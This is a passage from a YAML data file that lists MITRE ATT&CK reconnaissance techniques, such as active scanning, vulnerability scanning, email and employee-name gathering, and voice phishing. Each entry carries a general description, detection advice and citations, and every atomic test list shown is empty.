        description: Ng, A. (2019, January 17). Massive breach leaks 773 million email
          addresses, 21 million passwords. Retrieved October 20, 2020.
        url: https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/
      - source_name: Obsidian SSPR Abuse 2023
        description: 'Noah Corradin and Shuyang Wang. (2023, August 1). Behind The
          Breach: Self-Service Password Reset (SSPR) Abuse in Azure AD. Retrieved
          March 28, 2024.'
        url: https://www.obsidiansecurity.com/blog/behind-the-breach-self-service-password-reset-azure-ad/
      - source_name: Forbes GitHub Creds
        description: Sandvik, R. (2014, January 14). Attackers Scrape GitHub For Cloud
          Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved
          October 19, 2020.
        url: https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196
      - source_name: Register Deloitte
        description: 'Thomson, I. (2017, September 26). Deloitte is a sitting duck:
          Key systems with RDP open, VPN and proxy ''login details leaked''. Retrieved
          October 19, 2020.'
        url: https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1595.002:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: Vulnerability Scanning
      description: |-
        Adversaries may scan victims for vulnerabilities that can be used during targeting. Vulnerability scans typically check if the configuration of a target host/application (ex: software and version) potentially aligns with the target of a specific exploit the adversary may seek to use.

        These scans may also include more broad attempts to [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592) that can be used to identify more commonly known, exploitable vulnerabilities. Vulnerability scans typically harvest running software and version numbers via server banners, listening ports, or other network artifacts.(Citation: OWASP Vuln Scanning) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.

        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Traffic Flow'
      type: attack-pattern
      id: attack-pattern--5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4
      created: '2020-10-02T16:55:16.047Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1595/002
        external_id: T1595.002
      - source_name: OWASP Vuln Scanning
        description: OWASP. (n.d.). OAT-014 Vulnerability Scanning. Retrieved October
          20, 2020.
        url: https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-014_Vulnerability_Scanning
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1596:
    technique:
      modified: '2022-10-18T22:45:19.607Z'
      name: Search Open Technical Databases
      description: |-
        Adversaries may search freely available technical databases for information about victims that can be used during targeting. Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS)(Citation: Medium SSL Cert)(Citation: SSLShopper Lookup)(Citation: DigitalShadows CDN)(Citation: Shodan)

        Adversaries may search in different open databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_platforms:
      - PRE
      x_mitre_is_subtechnique: false
      x_mitre_deprecated: false
      x_mitre_domains:
      - enterprise-attack
      x_mitre_version: '1.0'
      type: attack-pattern
      id: attack-pattern--55fc4df0-b42c-479a-b860-7a6761bcaad0
      created: '2020-10-02T16:56:05.810Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1596
        external_id: T1596
      - source_name: Circl Passive DNS
        description: CIRCL Computer Incident Response Center. (n.d.). Passive DNS.
          Retrieved October 20, 2020.
        url: https://www.circl.lu/services/passive-dns/
      - source_name: DNS Dumpster
        description: Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.
        url: https://dnsdumpster.com/
      - source_name: Medium SSL Cert
        description: Jain, M. (2019, September 16). Export & Download — SSL Certificate
          from Server (Site URL). Retrieved October 20, 2020.
        url: https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcfc41ea46a2
      - source_name: WHOIS
        description: NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.
        url: https://www.whois.net/
      - source_name: Shodan
        description: Shodan. (n.d.). Shodan. Retrieved October 20, 2020.
        url: https://shodan.io
      - source_name: SSLShopper Lookup
        description: SSL Shopper. (n.d.). SSL Checker. Retrieved October 20, 2020.
        url: https://www.sslshopper.com/ssl-checker.html
      - source_name: DigitalShadows CDN
        description: Swisscom & Digital Shadows. (2017, September 6). Content Delivery
          Networks (CDNs) Can Leave You Exposed – How You Might Be Affected And What
          You Can Do About It. Retrieved October 20, 2020.
        url: https://www.digitalshadows.com/blog-and-research/content-delivery-networks-cdns-can-leave-you-exposed-how-you-might-be-affected-and-what-you-can-do-about-it/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1595:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--67073dde-d720-45ae-83da-b12d5e73ca3b
      type: attack-pattern
      created: '2020-10-02T16:53:16.526Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1595
        url: https://attack.mitre.org/techniques/T1595
      - source_name: Botnet Scan
        url: https://www.caida.org/publications/papers/2012/analysis_slash_zero/analysis_slash_zero.pdf
        description: Dainotti, A. et al. (2012). Analysis of a “/0” Stealth Scan from
          a Botnet. Retrieved October 20, 2020.
      - source_name: OWASP Fingerprinting
        url: https://wiki.owasp.org/index.php/OAT-004_Fingerprinting
        description: OWASP Wiki. (2018, February 16). OAT-004 Fingerprinting. Retrieved
          October 20, 2020.
      modified: '2022-05-11T14:00:00.188Z'
      name: Active Scanning
      description: |-
        Adversaries may execute active reconnaissance scans to gather information that can be used during targeting. Active scans are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance that do not involve direct interaction.

        Adversaries may perform different forms of active scanning depending on what information they seek to gather. These scans can also be performed in various ways, including using native features of network protocols such as ICMP.(Citation: Botnet Scan)(Citation: OWASP Fingerprinting) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      x_mitre_detection: |-
        Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.

        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      x_mitre_is_subtechnique: false
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1589.002:
    technique:
      modified: '2022-10-21T14:30:10.979Z'
      name: Email Addresses
      description: |-
        Adversaries may gather email addresses that can be used during targeting. Even if internal instances exist, organizations may have public-facing email infrastructure and addresses for employees.

        Adversaries may easily gather email addresses, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: HackersArise Email)(Citation: CNET Leaks) Email addresses could also be enumerated via more active means (i.e. [Active Scanning](https://attack.mitre.org/techniques/T1595)), such as probing and analyzing responses from authentication services that may reveal valid usernames in a system.(Citation: GrimBlog UsernameEnum) For example, adversaries may be able to enumerate email addresses in Office 365 environments by querying a variety of publicly available API endpoints, such as autodiscover and GetCredentialType.(Citation: GitHub Office 365 User Enumeration)(Citation: Azure Active Directory Reconnaisance)

        Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Email Accounts](https://attack.mitre.org/techniques/T1586/002)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Brute Force](https://attack.mitre.org/techniques/T1110) via [External Remote Services](https://attack.mitre.org/techniques/T1133)).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      x_mitre_detection: |-
        Monitor for suspicious network traffic that could be indicative of probing for email addresses and/or usernames, such as large/iterative quantities of authentication requests originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.

        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_platforms:
      - PRE
      x_mitre_is_subtechnique: true
      x_mitre_deprecated: false
      x_mitre_domains:
      - enterprise-attack
      x_mitre_version: '1.2'
      x_mitre_contributors:
      - Jannie Li, Microsoft Threat Intelligence Center (MSTIC)
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      type: attack-pattern
      id: attack-pattern--69f897fd-12a9-4c89-ad6a-46d2f3c38262
      created: '2020-10-02T14:56:24.866Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1589/002
        external_id: T1589.002
      - source_name: Azure Active Directory Reconnaisance
        description: 'Dr. Nestori Syynimaa. (2020, June 13). Just looking: Azure Active
          Directory reconnaissance as an outsider. Retrieved May 27, 2022.'
        url: https://o365blog.com/post/just-looking/
      - source_name: GitHub Office 365 User Enumeration
        description: gremwell. (2020, March 24). Office 365 User Enumeration. Retrieved
          May 27, 2022.
        url: https://github.com/gremwell/o365enum
      - source_name: GrimBlog UsernameEnum
        description: GrimHacker. (2017, July 24). Office365 ActiveSync Username Enumeration.
          Retrieved December 9, 2021.
        url: https://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/
      - source_name: HackersArise Email
        description: Hackers Arise. (n.d.). Email Scraping and Maltego. Retrieved
          October 20, 2020.
        url: https://www.hackers-arise.com/email-scraping-and-maltego
      - source_name: CNET Leaks
        description: Ng, A. (2019, January 17). Massive breach leaks 773 million email
          addresses, 21 million passwords. Retrieved October 20, 2020.
        url: https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1598.004:
    technique:
      modified: '2023-09-08T21:03:35.477Z'
      name: Spearphishing Voice
      description: |-
        Adversaries may use voice communications to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Impersonation](https://attack.mitre.org/techniques/T1656)) and/or creating a sense of urgency or alarm for the recipient.

        All forms of phishing are electronically delivered social engineering. In this scenario, adversaries use phone calls to elicit sensitive information from victims. Known as voice phishing (or "vishing"), these communications can be manually executed by adversaries, hired call centers, or even automated via robocalls. Voice phishers may spoof their phone number while also posing as a trusted entity, such as a business partner or technical support staff.(Citation: BOA Telephone Scams)

        Victims may also receive phishing messages that direct them to call a phone number ("callback phishing") where the adversary attempts to collect confidential information.(Citation: Avertium callback phishing)

        Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to tailor pretexts to be even more persuasive and believable for the victim.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      type: attack-pattern
      id: attack-pattern--6a5d222a-a7e0-4656-b110-782c33098289
      created: '2023-09-07T21:48:39.516Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1598/004
        external_id: T1598.004
      - source_name: Avertium callback phishing
        description: Avertium. (n.d.). EVERYTHING YOU NEED TO KNOW ABOUT CALLBACK
          PHISHING. Retrieved February 2, 2023.
        url: https://www.avertium.com/resources/threat-reports/everything-you-need-to-know-about-callback-phishing
      - source_name: BOA Telephone Scams
        description: Bank of America. (n.d.). How to avoid telephone scams. Retrieved
          September 8, 2023.
        url: https://business.bofa.com/en-us/content/what-is-vishing.html
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1590.006:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--6c2957f9-502a-478c-b1dd-d626c0659413
      type: attack-pattern
      created: '2020-10-02T16:01:35.350Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1590.006
        url: https://attack.mitre.org/techniques/T1590/006
      - source_name: Nmap Firewalls NIDS
        url: https://nmap.org/book/firewalls.html
        description: Nmap. (n.d.). Chapter 10. Detecting and Subverting Firewalls
          and Intrusion Detection Systems. Retrieved October 20, 2020.
      modified: '2022-04-25T14:00:00.188Z'
      name: Network Security Appliances
      description: |-
        Adversaries may gather information about the victim's network security appliances that can be used during targeting. Information about network security appliances may include a variety of details, such as the existence and specifics of deployed firewalls, content filters, and proxies/bastion hosts. Adversaries may also target information about victim network-based intrusion detection systems (NIDS) or other appliances related to defensive cybersecurity operations.

        Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).(Citation: Nmap Firewalls NIDS) Information about network security appliances may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1593.002:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--6e561441-8431-4773-a9b8-ccf28ef6a968
      type: attack-pattern
      created: '2020-10-02T16:50:12.809Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1593.002
        url: https://attack.mitre.org/techniques/T1593/002
      - source_name: SecurityTrails Google Hacking
        url: https://securitytrails.com/blog/google-hacking-techniques
        description: Borges, E. (2019, March 5). Exploring Google Hacking Techniques.
          Retrieved October 20, 2020.
      - source_name: ExploitDB GoogleHacking
        url: https://www.exploit-db.com/google-hacking-database
        description: Offensive Security. (n.d.). Google Hacking Database. Retrieved
          October 23, 2020.
      modified: '2022-04-25T14:00:00.188Z'
      name: Search Engines
      description: |-
        Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes).(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)

        Adversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1591.002:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--6ee2dc99-91ad-4534-a7d8-a649358c331f
      type: attack-pattern
      created: '2020-10-02T16:27:55.713Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1591.002
        url: https://attack.mitre.org/techniques/T1591/002
      - source_name: ThreatPost Broadvoice Leak
        url: https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/
        description: Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records,
          Personal Voicemail Transcripts. Retrieved October 20, 2020.
      modified: '2022-04-25T14:00:00.188Z'
      name: Business Relationships
      description: |-
        Adversaries may gather information about the victim's business relationships that can be used during targeting. Information about an organization’s business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. This information may also reveal supply chains and shipment paths for the victim’s hardware and software resources.

        Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business relationships may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1593.003:
    technique:
      modified: '2022-10-26T18:01:20.520Z'
      name: Code Repositories
      description: "Adversaries may search public code repositories for information
        about victims that can be used during targeting. Victims may store code in
        repositories on various third-party websites such as GitHub, GitLab, SourceForge,
        and BitBucket. Users typically interact with code repositories through a web
        application or command-line utilities such as git.  \n\nAdversaries may search
        various public code repositories for various information about a victim. Public
        code repositories can often be a source of various general information about
        victims, such as commonly used programming languages and libraries as well
        as the names of employees. Adversaries may also identify more sensitive data,
        including accidentally leaked credentials or API keys.(Citation: GitHub Cloud
        Service Credentials) Information from these sources may reveal opportunities
        for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598)),
        establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)
        or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)),
        and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078)
        or [Phishing](https://attack.mitre.org/techniques/T1566)). \n\n**Note:** This
        is distinct from [Code Repositories](https://attack.mitre.org/techniques/T1213/003),
        which focuses on [Collection](https://attack.mitre.org/tactics/TA0009) from
        private and internally hosted code repositories. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      x_mitre_detection: "Much of this activity may have a very high occurrence and
        associated false positive rate, as well as potentially taking place outside
        the visibility of the target organization, making detection difficult for
        defenders. \n\nDetection efforts may be focused on related stages of the adversary
        lifecycle, such as during Initial Access."
      x_mitre_platforms:
      - PRE
      x_mitre_is_subtechnique: true
      x_mitre_deprecated: false
      x_mitre_domains:
      - enterprise-attack
      x_mitre_version: '1.0'
      x_mitre_contributors:
      - Matt Burrough, @mattburrough, Microsoft
      - Vinayak Wadhwa, SAFE Security
      type: attack-pattern
      id: attack-pattern--70910fbd-58dc-4c1c-8c48-814d11fcd022
      created: '2022-08-09T13:01:43.314Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1593/003
        external_id: T1593.003
      - source_name: GitHub Cloud Service Credentials
        description: Runa A. Sandvik. (2014, January 14). Attackers Scrape GitHub
          For Cloud Service Credentials, Hijack Account To Mine Virtual Currency.
          Retrieved August 9, 2022.
        url: https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.0.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1589.003:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--76551c52-b111-4884-bc47-ff3e728f0156
      type: attack-pattern
      created: '2020-10-02T14:57:15.906Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1589.003
        url: https://attack.mitre.org/techniques/T1589/003
      - source_name: OPM Leak
        url: https://www.opm.gov/cybersecurity/cybersecurity-incidents/
        description: Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS.
          Retrieved October 20, 2020.
      modified: '2022-04-25T14:00:00.188Z'
      name: Employee Names
      description: |-
        Adversaries may gather employee names that can be used during targeting. Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures.

        Adversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1592.004:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--774ad5bb-2366-4c13-a8a9-65e50b292e7c
      type: attack-pattern
      created: '2020-10-02T16:47:16.719Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1592.004
        url: https://attack.mitre.org/techniques/T1592/004
      - source_name: ATT ScanBox
        url: https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks
        description: 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework
          Used with Watering Hole Attacks. Retrieved October 19, 2020.'
      - source_name: ThreatConnect Infrastructure Dec 2020
        url: https://threatconnect.com/blog/infrastructure-research-hunting/
        description: 'ThreatConnect. (2020, December 15). Infrastructure Research
          and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.'
      modified: '2022-04-25T14:00:00.188Z'
      name: Client Configurations
      description: |-
        Adversaries may gather information about the victim's client configurations that can be used during targeting. Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone.

